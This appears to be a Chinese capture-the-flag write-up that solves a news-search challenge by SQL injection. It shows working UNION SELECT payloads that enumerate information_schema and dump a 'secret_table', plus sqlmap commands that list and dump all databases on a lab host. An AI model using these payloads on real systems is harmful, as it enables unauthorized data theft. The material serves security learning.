一个新闻搜索的页面,在“search news”中输入搜索的字符,可以在下列新闻匹配到相应的字符
于是就可以有两种方式尝试注入,手工注入和脚本注入。
先说手工注入,一来首先猜字段
首先猜字段,输入1’union select 1#,返回空白,明显失败了,直到尝试到1’ union select 1,2,3#返回成功
查询数据库名称
1’ union select 1,2,schema_name from information_schema.schemata#
查表,直接查查news里面的表,反正方法都一样,查哪个都可以
1’ union select 1,2,table_name from information_schema.tables where table_schema=“news”#
如图,发现了有news表和secret_table,很明显的提示了,直接查字段就好了1’ union select 1,2,column_name from information_schema.columns where table_name=“secret_table”#
很明显可以看到fl4g,把这个字段弄出来
1’ union select 1,2,fl4g from secret_table#
成功get到flag。
用脚本的话速度会快个不少,用的是sqlmap,感觉挺好用的,把参数搞懂之后用起来特别方便
这条指令的大意就是扫描整个站点,因为没有/?id=?这类的注入点,所以就直接来个全盘扫描好了
扫描之后得到注入点如下
开始扫描站点的数据库
python sqlmap.py -u http://111.198.29.45:34877/ --data “search=df” --dbs(靶机是临时搭建的)
得到两个数据库,博主懒一点,直接将数据库里的东西都搬出来看,就不用一个一个找了
python sqlmap.py -u http://111.198.29.45:34877/ --data “search=df” --dbs --dump
如图
直接get到flag